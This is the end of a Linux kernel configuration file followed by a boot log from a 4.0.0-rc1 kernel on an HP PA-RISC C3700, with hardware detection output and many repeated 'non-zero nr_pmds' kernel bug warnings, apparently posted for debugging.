# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
# CONFIG_SCHED_STACK_END_CHECK is not set
# CONFIG_TIMER_STATS is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_ATOMIC_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_STACKTRACE is not set
# CONFIG_DEBUG_KOBJECT is not set
# CONFIG_DEBUG_BUGVERBOSE is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_PI_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set

#
# RCU Debugging
#
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_TORTURE_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set
CONFIG_TRACE_CLOCK=y
CONFIG_RING_BUFFER=y
CONFIG_RING_BUFFER_ALLOW_SWAP=y

#
# Runtime Testing
#
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_TEST_HEXDUMP is not set
# CONFIG_TEST_STRING_HELPERS is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_RHASHTABLE is not set
# CONFIG_TEST_LKM is not set
# CONFIG_TEST_USER_COPY is not set
# CONFIG_TEST_BPF is not set
# CONFIG_TEST_FIRMWARE is not set
# CONFIG_TEST_UDELAY is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set
CONFIG_SECCOMP=y

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_MCRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_CMAC is not set
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_CRCT10DIF is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
CONFIG_CRYPTO_SHA256=y
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_LZ4 is not set
# CONFIG_CRYPTO_LZ4HC is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_DRBG_MENU is not set
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
# CONFIG_HAVE_ARCH_BITREVERSE is not set
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_NET_UTILS=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
# CONFIG_CRC_CCITT is not set
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
# CONFIG_AUDIT_ARCH_COMPAT_GENERIC is not set
# CONFIG_RANDOM32_SELFTEST is not set
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_XZ=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_DQL=y
CONFIG_NLATTR=y
CONFIG_GENERIC_ATOMIC64=y
CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_ARCH_HAS_SG_CHAIN is not set

[    0.000000] Linux version 4.0.0-rc1-los_15ee+ (aaro@amd-fx-6350) (gcc version 4.9.2 (GCC) ) #1 Wed Feb 25 00:45:11 EET 2015
[    0.000000] unwind_init: start = 0x105de9e0, end = 0x10615e50, entries = 14151
[    0.000000] FP[0] enabled: Rev 1 Model 19
[    0.000000] The 32-bit Kernel has started...
[    0.000000] Default page size is 4KB.
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: System Map.
[    0.000000] model 00005dc0 00000481 00000000 00000002 777e24b2 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 19 rev 7 (0x00000267)
[    0.000000] capabilities 0x7
[    0.000000] model 9000/785/C3700
[    0.000000] Total Memory: 2048 MB
[    0.000000] initrd: 4e8be000-4ebeebcc
[    0.000000] initrd: reserving 3e8be000-3ebeebcc (mem_max 80000000)
[    0.000000] On node 0 totalpages: 524288
[    0.000000] free_area_init_node: node 0, pgdat 10670770, node_mem_map 107c5000
[    0.000000]   Normal zone: 4096 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 524288 pages, LIFO batch:31
[    0.000000] LCD display at f05d0008,f05d0000 registered
[    0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768
[    0.000000] pcpu-alloc: [0] 0 
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 520192
[    0.000000] Kernel command line: root=/dev/ram console=tty0 sti=10/6/2/0 sti_font=VGA8x16 TERM=linux palo_kernel=0/vmlinuz
[    0.000000] PID hash table entries: 4096 (order: 2, 16384 bytes)
[    0.000000] Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
[    0.000000] Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
[    0.000000] Sorting __ex_table...
[    0.000000] Memory: 2067996K/2097152K available (4052K kernel code, 588K rwdata, 782K rodata, 152K init, 186K bss, 29156K reserved, 0K cma-reserved)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
[    0.000000]     memory  : 0x10000000 - 0x90000000   (2048 MB)
[    0.000000]       .init : 0x10100000 - 0x10126000   ( 152 kB)
[    0.000000]       .data : 0x1051b000 - 0x10671ab0   (1370 kB)
[    0.000000]       .text : 0x10126000 - 0x1051b000   (4052 kB)
[    0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.000000] NR_IRQS:48
[    0.000000] Console: colour dummy device 160x64
[    0.010000] console [tty0] enabled
[    0.020000] bootconsole [ttyB0] disabled
[    0.020000] Calibrating delay loop... 1495.85 BogoMIPS (lpj=7479296)
[    0.060000] pid_max: default: 32768 minimum: 301
[    0.060000] Mount-cache hash table entries: 4096 (order: 2, 16384 bytes)
[    0.060000] Mountpoint-cache hash table entries: 4096 (order: 2, 16384 bytes)
[    0.060000] devtmpfs: initialized
[    0.060000] NET: Registered protocol family 16
[    0.060000] Searching for devices...
[    0.290000] Found devices:
[    0.290000] 1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
[    0.290000] 2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
[    0.290000] 3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
[    0.290000] 4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
[    0.290000] 5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
[    0.290000] 6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
[    0.290000] 7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
[    0.420000] CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
[    0.420000] Whole cache flush 956011 cycles, flushing 5745144 bytes 1136860 cycles
[    0.420000] Setting cache flush threshold to c00 (1 CPUs online)
[    0.450000] SBA found Astro 2.1 at 0xfed00000
[    0.450000] Elroy version TR4.0 (0x5) found at 0xfed30000
[    0.460000] LBA 10:0: PCI host bridge to bus 0000:00
[    0.460000] pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
[    0.460000] pci_bus 0000:00: root bus resource [mem 0xf2000000-0xf23fffff]
[    0.460000] pci_bus 0000:00: root bus resource [bus 00]
[    0.460000] pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
[    0.460000] pci 0000:00:0c.0: reg 0x10: [io  0x1000-0x107f]
[    0.460000] pci 0000:00:0c.0: reg 0x14: [mem 0xf2008000-0xf20083ff]
[    0.460000] pci 0000:00:0c.0: reg 0x30: [mem 0xf2040000-0xf207ffff pref]
[    0.460000] pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
[    0.460000] pci 0000:00:0d.0: reg 0x10: [mem 0xf200c000-0xf200c1ff pref]
[    0.460000] pci 0000:00:0d.0: reg 0x14: [mem 0xf200b000-0xf200b00f pref]
[    0.460000] pci 0000:00:0d.0: reg 0x18: [mem 0xf200a000-0xf200a00f pref]
[    0.460000] pci 0000:00:0d.0: reg 0x1c: [mem 0xf2009000-0xf200900f pref]
[    0.460000] pci 0000:00:0d.0: supports D2
[    0.460000] pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
[    0.460000] PCI: Enabled native mode for NS87415 (pif=0x8f)
[    0.460000] pci 0000:00:0e.0: reg 0x10: [io  0x0f00-0x0f07]
[    0.460000] pci 0000:00:0e.0: reg 0x14: [io  0x0e00-0x0e03]
[    0.460000] pci 0000:00:0e.0: reg 0x18: [io  0x0d00-0x0d07]
[    0.460000] pci 0000:00:0e.0: reg 0x1c: [io  0x0b00-0x0b03]
[    0.460000] pci 0000:00:0e.0: reg 0x20: [io  0x0a00-0x0a0f]
[    0.460000] pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
[    0.460000] pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
[    0.460000] pci 0000:00:0e.2: reg 0x10: [mem 0xf2007000-0xf2007fff]
[    0.460000] pci 0000:00:0e.2: reg 0x14: [mem 0xf2006000-0xf2006fff]
[    0.460000] pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
[    0.460000] pci 0000:00:0f.0: reg 0x10: [io  0x0900-0x09ff]
[    0.460000] pci 0000:00:0f.0: reg 0x14: [mem 0xf2005000-0xf20053ff 64bit]
[    0.460000] pci 0000:00:0f.0: reg 0x1c: [mem 0xf2002000-0xf2003fff 64bit]
[    0.460000] pci 0000:00:0f.0: supports D1 D2
[    0.460000] pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
[    0.460000] pci 0000:00:0f.1: reg 0x10: [io  0x0800-0x08ff]
[    0.460000] pci 0000:00:0f.1: reg 0x14: [mem 0xf2004000-0xf20043ff 64bit]
[    0.460000] pci 0000:00:0f.1: reg 0x1c: [mem 0xf2000000-0xf2001fff 64bit]
[    0.460000] pci 0000:00:0f.1: supports D1 D2
[    0.460000] Elroy version TR4.0 (0x5) found at 0xfed32000
[    0.460000] LBA 10:1: PCI host bridge to bus 0000:01
[    0.460000] pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
[    0.460000] pci_bus 0000:01: root bus resource [mem 0xf8000000-0xfbffffff]
[    0.460000] pci_bus 0000:01: root bus resource [mem 0xf2400000-0xf27fffff]
[    0.460000] pci_bus 0000:01: root bus resource [bus 01]
[    0.460000] pci 0000:01:06.0: [18ca:0020] type 00 class 0x030000
[    0.460000] pci 0000:01:06.0: reg 0x10: [mem 0xf8000000-0xfbffffff pref]
[    0.460000] pci 0000:01:06.0: reg 0x14: [mem 0xf2400000-0xf243ffff]
[    0.460000] pci 0000:01:06.0: reg 0x18: [io  0x12000-0x1207f]
[    0.460000] pci 0000:01:06.0: reg 0x30: [mem 0xf2440000-0xf2447fff pref]
[    0.460000] pci 0000:01:06.0: supports D1 D2
[    0.460000] iosapic: hpa not registered for 0000:01:06.0
[    0.460000] Elroy version TR4.0 (0x5) found at 0xfed38000
[    0.460000] LBA 10:4: PCI host bridge to bus 0000:02
[    0.460000] pci_bus 0000:02: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
[    0.460000] pci_bus 0000:02: root bus resource [mem 0xf3000000-0xf33fffff]
[    0.460000] pci_bus 0000:02: root bus resource [bus 02]
[    0.460000] Elroy version TR4.0 (0x5) found at 0xfed3c000
[    0.460000] LBA 10:6: PCI host bridge to bus 0000:03
[    0.460000] pci_bus 0000:03: root bus resource [io  0x3c000-0x3dfff] (bus address [0xc000-0xdfff])
[    0.460000] pci_bus 0000:03: root bus resource [mem 0xf6000000-0xf7ffffff]
[    0.460000] pci_bus 0000:03: root bus resource [mem 0xf3800000-0xf3bfffff]
[    0.460000] pci_bus 0000:03: root bus resource [bus 03]
[    0.470000] pci 0000:03:02.0: [103c:1008] type 00 class 0x038000
[    0.470000] pci 0000:03:02.0: reg 0x10: [mem 0xf6000000-0xf7ffffff 64bit]
[    0.470000] pci 0000:03:02.0: reg 0x30: [mem 0xf3800000-0xf39fffff pref]
[    0.470000] iosapic: hpa not registered for 0000:03:02.0
[    0.470000] powersw: Soft power switch at 0xf0400804 enabled.
[    0.480000] SCSI subsystem initialized
[    0.480000] usbcore: registered new interface driver usbfs
[    0.490000] usbcore: registered new interface driver hub
[    0.490000] usbcore: registered new device driver usb
[    0.490000] Switched to clocksource cr16
[    0.500000] NET: Registered protocol family 2
[    0.500000] TCP established hash table entries: 16384 (order: 4, 65536 bytes)
[    0.500000] TCP bind hash table entries: 16384 (order: 4, 65536 bytes)
[    0.500000] TCP: Hash tables configured (established 16384 bind 16384)
[    0.500000] TCP: reno registered
[    0.500000] UDP hash table entries: 1024 (order: 2, 16384 bytes)
[    0.500000] UDP-Lite hash table entries: 1024 (order: 2, 16384 bytes)
[    0.500000] NET: Registered protocol family 1
[    0.500000] PCI: CLS 64 bytes
[    0.500000] SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 19)
[    0.500000] SuperIO: Serial port 1 at 0x3f8
[    0.500000] SuperIO: Serial port 2 at 0x2f8
[    0.500000] SuperIO: Parallel port at 0x378
[    0.500000] SuperIO: Floppy controller at 0x3f0
[    0.500000] SuperIO: ACPI at 0x7e0
[    0.500000] SuperIO: USB regulator enabled
[    0.500000] Unpacking initramfs...
[    3.160000] Freeing initrd memory: 3264K (4e8be000 - 4ebee000)
[    3.160000] Enabling PDC chassis warnings support v0.05
[    3.160000] futex hash table entries: 256 (order: -1, 3072 bytes)
[    3.170000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.190000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.200000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.210000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.220000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.230000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.240000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.250000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.260000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.270000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.280000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.290000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.300000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.310000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.320000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.340000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.350000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.360000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.370000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.380000] BUG: non-zero nr_pmds on freeing mm: -5
[    3.390000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.400000] BUG: non-zero nr_pmds on freeing mm: -5
[    3.410000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.420000] BUG: non-zero nr_pmds on freeing mm: -5
[    3.430000] BUG: non-zero nr_pmds on freeing mm: -5
[    3.440000] BUG: non-zero nr_pmds on freeing mm: -5
[    3.450000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.460000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.470000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.480000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.490000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[    3.500000] io scheduler noop registered
[    3.500000] io scheduler cfq registered (default)
[    3.500000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.510000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.510000] BUG: non-zero nr_pmds on freeing mm: -6
[    3.520000] PDC Stable Storage facility v0.30
[    3.850000] STI GSC/PCI core graphics driver Version 0.9b
[    3.860000] STI PCI graphic ROM found at f3800000 (2048 kB), fb at f6000000 (32 MB)
[    3.920000] STI ROM supports 32 and 64 bit firmware functions.
[    3.920000] STI selected 8x16 framebuffer font VGA8x16 for sticon
[    3.920000]     id 35acda30-9a02587, conforms to spec rev. 8.0d
[    4.050000]     graphics card name: A1299B
[    4.050000] sticon: Initializing STI text console.
[    4.050000] Console: switching to colour STI console 160x64
[    4.180000] stifb: 'A1299B' (id: 0x35acda30) not supported.
[    4.200000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.220000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.240000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.260000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.270000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.290000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.310000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.330000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.350000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.370000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.390000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.400000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.410000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.430000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.450000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.470000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.490000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.510000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.530000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.550000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.560000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.580000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.590000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.600000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.620000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.630000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.640000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.650000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.660000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.670000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.670000] BUG: non-zero nr_pmds on freeing mm: -5
[    4.680000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.690000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.700000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.710000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.720000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.720000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.730000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.750000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.760000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.760000] Serial: 8250/16550 driver, 2 ports, IRQ sharing enabled
[    4.770000] serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A
[    4.780000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.790000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.810000] serial8250: ttyS1 at I/O 0x2f8 (irq = 4, base_baud = 115200) is a 16550A
[    4.810000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.830000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.850000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.860000] BUG: non-zero nr_pmds on freeing mm: -5
[    4.880000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.890000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.910000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.920000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.940000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.950000] BUG: non-zero nr_pmds on freeing mm: -6
[    4.970000] BUG: non-zero nr_pmds on freeing mm: -5
[    4.980000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.000000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.020000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.030000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.050000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.060000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.080000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.090000] BUG: non-zero nr_pmds on freeing mm: -5
[    5.110000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.120000] loop: module loaded
[    5.350000] sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 20
[    5.360000] BUG: non-zero nr_pmds on freeing mm: -5
[    5.380000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.390000] BUG: non-zero nr_pmds on freeing mm: -5
[    5.410000] sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
[    5.420000] sym0: SCSI BUS has been reset.
[    5.430000] sym0: SCSI BUS mode change from SE to SE.
[    5.430000] sym0: SCSI BUS has been reset.
[    5.440000] scsi host0: sym-2.2.3
[    5.450000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.470000] BUG: non-zero nr_pmds on freeing mm: -6
[    5.480000] BUG: non-zero nr_pmds on freeing mm: -6
[   11.210000] sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 20
[   11.220000] sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
[   11.230000] sym1: SCSI BUS has been reset.
[   11.240000] scsi host1: sym-2.2.3
[   11.250000] BUG: non-zero nr_pmds on freeing mm: -6
[   11.260000] BUG: non-zero nr_pmds on freeing mm: -5
[   11.280000] BUG: non-zero nr_pmds on freeing mm: -6
[   15.690000] scsi target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
[   15.700000] scsi 1:0:5:0: Direct-Access     IBM-ESXS ST373307LC    FN B25J PQ: 0 ANSI: 3
[   15.710000] scsi target1:0:5: tagged command queuing enabled, command queue depth 16.
[   15.710000] scsi target1:0:5: Beginning Domain Validation
[   15.730000] scsi target1:0:5: Domain Validation skipping write tests
[   15.730000] scsi target1:0:5: Ending Domain Validation
[   15.740000] BUG: non-zero nr_pmds on freeing mm: -5
[   15.760000] BUG: non-zero nr_pmds on freeing mm: -6
[   15.780000] BUG: non-zero nr_pmds on freeing mm: -6
[   15.800000] BUG: non-zero nr_pmds on freeing mm: -6
[   15.810000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.420000] sd 1:0:5:0: Attached scsi generic sg0 type 0
[   18.430000] Linux Tulip driver version 1.1.15 (Feb 27, 2007)
[   18.440000] tulip0: no phy info, aborting mtable build
[   18.450000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
[   18.460000] net eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xf2008000, 00:30:6e:2b:09:84, IRQ 17
[   18.470000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[   18.470000] ohci-pci: OHCI PCI platform driver
[   18.480000] ohci-pci 0000:00:0e.2: OHCI PCI host controller
[   18.490000] ohci-pci 0000:00:0e.2: new USB bus registered, assigned bus number 1
[   18.490000] ohci-pci 0000:00:0e.2: irq 1, io mem 0xf2007000
[   18.500000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.520000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.540000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.560000] BUG: non-zero nr_pmds on freeing mm: -5
[   18.570000] sd 1:0:5:0: [sda] 143374000 512-byte logical blocks: (73.4 GB/68.3 GiB)
[   18.580000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.590000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.610000] BUG: non-zero nr_pmds on freeing mm: -5
[   18.620000] sd 1:0:5:0: [sda] Write Protect is off
[   18.620000] sd 1:0:5:0: [sda] Mode Sense: b3 00 10 08
[   18.620000] sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   18.640000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.650000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.660000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.670000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.680000]  sda: sda1 sda2 sda3
[   18.700000] hub 1-0:1.0: USB hub found
[   18.700000] hub 1-0:1.0: 3 ports detected
[   18.730000] BUG: non-zero nr_pmds on freeing mm: -6
[   18.740000] BUG: non-zero nr_pmds on freeing mm: -6
